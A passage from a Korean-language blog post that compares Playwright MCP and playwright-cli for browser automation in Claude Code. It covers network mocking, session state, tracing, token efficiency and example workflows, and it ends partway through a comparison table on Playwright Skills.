&amp;lt;value&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;결론: 동등&lt;/b&gt; &amp;mdash; 기본 네비게이션과 클릭/입력은 양쪽 모두 자연어로 동일하게 요청할 수 있다. MCP와 playwright-cli 모두 접근성 트리의 &lt;b&gt;ref 번호&lt;/b&gt;로 요소를 특정한다. playwright-cli는 먼저 &lt;code&gt;snapshot&lt;/code&gt;으로 ref를 조회한 후 &lt;code&gt;click e5&lt;/code&gt;, &lt;code&gt;fill e3 &quot;text&quot;&lt;/code&gt; 형식으로 사용한다. 실제 사용에서는 Claude가 알아서 snapshot &amp;rarr; ref 확인 &amp;rarr; 실행 순서로 처리해주므로 사용자 경험은 동일하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. 상호작용 &amp;amp; 폼 제어 &amp;mdash; CLI 일부 우위&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;폼 제어 분야에서 일부 차이가 있다. 드래그/파일업로드는 MCP에도 Core Tool이 있지만, 체크박스 명시적 제어는 playwright-cli에만 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# playwright-cli에서 사용하는 상호작용 명령어들&lt;/div&gt;
&lt;pre class=&quot;avrasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 드래그 앤 드롭 (MCP의 browser_drag와 동등, ref 기반)
playwright-cli snapshot           # ref 번호 확인
playwright-cli drag e7 e12        # &amp;lt;startRef&amp;gt; &amp;lt;endRef&amp;gt;

# 파일 업로드 (MCP의 browser_file_upload와 동등)
playwright-cli upload &quot;./document.pdf&quot;   # 현재 포커스된 file input에 업로드

# 체크박스 제어 (playwright-cli 전용 - 멱등성 보장)
playwright-cli check e8           # ref로 지정, 이미 체크 시 변경 없음
playwright-cli uncheck e9         # 이미 미체크 시 변경 없음

# 마우스 정밀 제어 (MCP Vision opt-in과 유사, 기본 지원)
playwright-cli mousemove 450 320  # 먼저 좌표 이동
playwright-cli mousedown          # 현재 위치에서 클릭 다운
playwright-cli mouseup            # 현재 위치에서 클릭 업&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. 고급 기능 &amp;mdash; playwright-cli 독점&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 모킹, 세션 관리, 구간별 트레이싱 등 E2E 테스트에서 핵심적인 고급 기능들은 playwright-cli가 훨씬 더 세밀한 제어를 제공한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# playwright-cli 고급 기능 (MCP에서 제한적이거나 미지원)&lt;/div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 네트워크 모킹 &amp;mdash; API 응답을 가로채서 테스트용 데이터로 교체
playwright-cli route &quot;/api/users&quot; --body='[{&quot;id&quot;:1,&quot;name&quot;:&quot;Test User&quot;}]'
playwright-cli unroute &quot;/api/tracking&quot;  # 특정 요청 차단 해제

# 쿠키 관리 &amp;mdash; 인증 상태 직접 설정
playwright-cli cookie-set session abc123 --domain=example.com
playwright-cli cookie-list

# 스토리지 관리
playwright-cli localstorage-set &quot;theme&quot; &quot;dark&quot;
playwright-cli localstorage-list
playwright-cli localstorage-clear

# 세션 저장/복원 &amp;mdash; 로그인 상태를 파일로 저장해 재사용
playwright-cli state-save &quot;./auth-state.json&quot;
playwright-cli state-load &quot;./auth-state.json&quot;

# 네임드 세션 &amp;mdash; 여러 사용자 동시 테스트
playwright-cli goto &quot;https://app.com/user1&quot; -s=user1
playwright-cli goto &quot;https://app.com/user2&quot; -s=user2

# 구간별 트레이싱 (MCP는 세션 전체 단위만 가능)
playwright-cli tracing-start
playwright-cli goto &quot;https://example.com&quot;
playwright-cli tracing-stop &quot;./trace.zip&quot;

# 구간별 비디오 녹화 (MCP는 세션 전체 단위만 가능)
playwright-cli video-start
playwright-cli video-stop &quot;./test-run.mp4&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP의 트레이싱/비디오 vs playwright-cli의 차이&lt;/b&gt;&lt;br /&gt;MCP는 서버 시작 시 &lt;code&gt;--save-trace&lt;/code&gt;, &lt;code&gt;--save-video=800x600&lt;/code&gt; 플래그로 세션 전체를 기록할 수 있다. 반면 playwright-cli는 &lt;code&gt;tracing-start&lt;/code&gt; / &lt;code&gt;tracing-stop&lt;/code&gt;으로 원하는 구간만 선택적으로 기록할 수 있어 디버깅 목적에 훨씬 유용하다.&lt;/div&gt;
&lt;!-- 4. 토큰 효율성 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 토큰 효율성 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;토큰 효율성은 비용과 직결되는 중요한 요소다. 반복 작업이 많은 워크플로우에서 이 차이는 체감된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #dee2e6;&quot;&gt;Playwright MCP&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #dee2e6;&quot;&gt;playwright-cli&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;스크린샷 처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;base64 이미지를 컨텍스트 인라인 전송&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;파일 경로만 반환, 디스크에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;접근성 트리 데이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_snapshot 호출마다 전체 반환&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;명시적 요청 시에만 snapshot 반환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;상대적 토큰 효율 &lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;상대적으로 많음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;b&gt;상대적으로 적음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 수치에 대한 안내&lt;/b&gt;&lt;br /&gt;공식적으로 측정된 정확한 수치는 확인하지 못했다. 다만 공식 문서에서는 &quot;CLI는 큰 Tool 스키마와 상세 접근성 트리를 매번 모델 컨텍스트에 로드하지 않아 토큰 효율적&quot;이라고 명시한다. (출처: microsoft/playwright-cli GitHub README) 실제 차이는 페이지 복잡도, 작업 종류, 사용 모델에 따라 다를 수 있다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;토큰 차이가 발생하는 주된 원인은 두 가지다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 1: 스크린샷의 인라인 전송 vs 파일 저장&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP의 &lt;code&gt;browser_take_screenshot&lt;/code&gt;은 스크린샷 이미지를 base64로 인코딩해 Claude 컨텍스트로 직접 전달한다. 이미지 한 장이 수만 토큰을 소모할 수 있다. 반면 playwright-cli의 &lt;code&gt;screenshot&lt;/code&gt; 명령은 파일을 디스크에 저장하고 경로만 반환하므로 토큰 소모가 최소화된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 2: 접근성 트리의 암묵적 포함&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP의 &lt;code&gt;browser_snapshot&lt;/code&gt;은 호출마다 전체 접근성 트리를 반환한다. 복잡한 페이지의 경우 이 데이터만 수천 토큰에 달한다. playwright-cli는 명시적으로 &lt;code&gt;snapshot&lt;/code&gt;을 요청하지 않으면 이 데이터를 포함하지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 5. 워크플로우 시나리오 비교 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 워크플로우 시나리오 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 개발 시나리오 3가지를 통해 두 접근법의 체감 차이를 살펴본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 페이지 접속 &amp;amp; 스크린샷&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 기본적인 작업. &lt;b&gt;양쪽 모두 가능&lt;/b&gt;하다. playwright-cli가 토큰을 절약한다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 요청:&lt;/b&gt; https://example.com 에 접속해서 스크린샷 찍어줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;overflow-x: auto; margin: 10px 0 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;MCP 처리 방식&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #0066cc; padding: 12px 14px; border-radius: 4px; font-size: 13px;&quot;&gt;1. browser_navigate 호출&lt;br /&gt;2. browser_snapshot 호출 (트리 전체 반환)&lt;br /&gt;3. browser_take_screenshot 호출 (이미지 인라인)&lt;br /&gt;&lt;b&gt;스크린샷이 컨텍스트에 인라인 포함됨&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;playwright-cli 처리 방식&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 12px 14px; border-radius: 4px; font-size: 13px;&quot;&gt;1. playwright-cli goto &quot;https://example.com&quot;&lt;br /&gt;2. playwright-cli screenshot --filename=shot.png&lt;br /&gt;&lt;b&gt;파일 경로만 반환, 토큰 절약&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 폼 입력 &amp;amp; 로그인 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;양쪽 모두 가능&lt;/b&gt;하다. playwright-cli는 세션 저장으로 다음 테스트에서 재사용이 가능하다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 요청:&lt;/b&gt; localhost:3000에서 admin@test.com / pass123으로 로그인하고, 성공하면 인증 상태를 저장해줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #0066cc; padding: 1em 1.2em; margin: 0.5em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP Claude 응답:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;browser_navigate &amp;rarr; browser_snapshot &amp;rarr; browser_type (이메일) &amp;rarr; browser_type (비밀번호) &amp;rarr; browser_click (로그인 버튼) &amp;rarr; browser_snapshot (결과 확인)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;동적 세션 저장은 불가능합니다.&lt;/b&gt; MCP 서버 시작 시 &lt;code&gt;--storage-state&lt;/code&gt;로 미리 준비된 상태를 주입하는 것은 가능하지만, 현재 세션을 파일로 저장하는 것은 지원되지 않습니다. 다음 테스트 시 로그인 과정을 반복해야 합니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 0.5em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;playwright-cli Claude 응답:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;playwright-cli goto &amp;rarr; playwright-cli type &amp;rarr; playwright-cli type &amp;rarr; playwright-cli click &amp;rarr; playwright-cli screenshot (로그인 성공 확인)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;playwright-cli state-save &quot;./auth-state.json&quot;&lt;/code&gt; 실행 완료. 다음 테스트에서 &lt;code&gt;state-load&lt;/code&gt;로 즉시 로그인 상태를 복원할 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: 네트워크 모킹 &amp;amp; 에러 처리 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;playwright-cli만 가능&lt;/b&gt;하다. MCP로는 불가능한 시나리오다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 요청:&lt;/b&gt; /api/products 요청을 가로채서 500 에러를 반환하도록 모킹하고, 앱이 에러를 올바르게 표시하는지 테스트해줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff3f3; border-left: 4px solid #dc3545; padding: 1em 1.2em; margin: 0.5em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP Claude 응답:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;죄송합니다. Playwright MCP는 현재 네트워크 요청 인터셉트(route) 기능을 Tool로 제공하지 않습니다. 이 요청은 &lt;b&gt;MCP만으로는 처리할 수 없습니다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 0.5em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;playwright-cli Claude 응답:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: monospace; font-size: 12px; margin: 8px 0;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 네트워크 모킹 설정
playwright-cli route &quot;/api/products&quot; \
  --status=500 \
  --body='{&quot;error&quot;:&quot;Internal Server Error&quot;}'

# 페이지 접속 및 에러 표시 확인
playwright-cli goto &quot;http://localhost:3000/products&quot;
playwright-cli screenshot --filename=error-test.png
playwright-cli snapshot&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;/api/products 요청이 500 응답으로 모킹되었습니다. 스크린샷 확인 결과 에러 메시지 &quot;상품을 불러올 수 없습니다&quot;가 정상적으로 표시됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 6. Skills + CLI 조합 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Skills + CLI 조합: 실전 추천 스택&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 잠깐 &amp;mdash; 단순히 &quot;MCP vs CLI&quot;로만 비교하면 중요한 관점이 빠집니다. Claude Code에는 &lt;b&gt;playwright 관련 Skills&lt;/b&gt;가 내장되어 있어, CLI와 조합하면 훨씬 강력한 워크플로우를 구성할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code 내장 Playwright Skills 3종&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;스킬&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;인터페이스&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;playwright-cli&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;대화형 브라우저 자동화&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Bash (playwright-cli 명령어)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;snapshot 기반 상호작용, 세션/네트워크/트레이싱 모범 사례, run-code로 고급 API 직접 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;playwright-expert&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;프로덕션 E2E 테스트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;TypeScript (Page Object Model)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;POM 패턴, Fixtures, CI/CD 통합, Flaky 테스트 방지 전략&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;browser-automation&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;패턴 가이드 &amp;amp; 아키텍처&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;지식/가이드&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Playwright vs Puppeteer 선택, 안티패턴 탐지, 신뢰성 설계 원칙&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;playwright-cli Skill이 CLI를 완성한다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 블로그의 비교에서 &quot;CLI&quot; 방식은 단순히 명령어를 직접 입력하는 것이 아닙니다. &lt;code&gt;playwright-cli&lt;/code&gt; Skill이 활성화되면 Claude Code는 CLI 도구를 훨씬 지능적으로 활용합니다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 1px solid #cce5ff; border-left: 4px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 20px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;playwright-cli Skill이 제공하는 것&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;단순 CLI 명령어를 넘어, Skill은 내장 참조 가이드(references)를 통해 다음을 자동으로 적용합니다:&lt;br /&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;snapshot 기반 상호작용&lt;/b&gt;: YAML 스냅샷 &amp;rarr; ref ID (e1, e2...) &amp;rarr; 안정적인 요소 선택&lt;br /&gt;&amp;bull; &lt;b&gt;request-mocking.md&lt;/b&gt;: 네트워크 요청 모킹 모범 사례&lt;br /&gt;&amp;bull; &lt;b&gt;storage-state.md&lt;/b&gt;: 쿠키/localStorage 관리 패턴&lt;br /&gt;&amp;bull; &lt;b&gt;session-management.md&lt;/b&gt;: 멀티 세션 관리 전략&lt;br /&gt;&amp;bull; &lt;b&gt;tracing.md&lt;/b&gt;: 디버깅을 위한 트레이싱 활용법&lt;br /&gt;&amp;bull; &lt;b&gt;test-generation.md&lt;/b&gt;: 테스트 코드 자동 생성&lt;br /&gt;&amp;bull; &lt;b&gt;video-recording.md&lt;/b&gt;: 비디오 녹화 설정&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills를 활용한 3-Layer 워크플로우&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: monospace; font-size: 13px; margin: 20px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;빠른 탐색/스크래핑
   &amp;rarr; playwright-cli Skill 활성화
   &amp;rarr; playwright-cli goto, snapshot, click, route ...
   &amp;rarr; 스냅샷 기반 ref 자동 관리

프로덕션 E2E 테스트
   &amp;rarr; playwright-expert Skill 활성화
   &amp;rarr; Page Object Model (TypeScript)
   &amp;rarr; Fixtures, CI/CD GitHub Actions 자동 생성

아키텍처 결정
   &amp;rarr; browser-automation Skill 참고
   &amp;rarr; 안티패턴 탐지 (waitForTimeout 금지 등)
   &amp;rarr; Playwright vs 다른 도구 선택 기준&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills + CLI vs MCP: 업데이트된 관점&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #4a6a8a;&quot;&gt;Playwright MCP&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #4a6a8a;&quot;&gt;CLI 단독&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #4a6a8a;&quot;&gt;Skills + CLI 조합&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;지능적 상호작용 패턴&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;MCP 도구 설계에 내장&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;사용자가 직접 패턴 결정&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;Skill이 모범 사례 자동 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;고급 기능 가이드&lt;/td&gt;
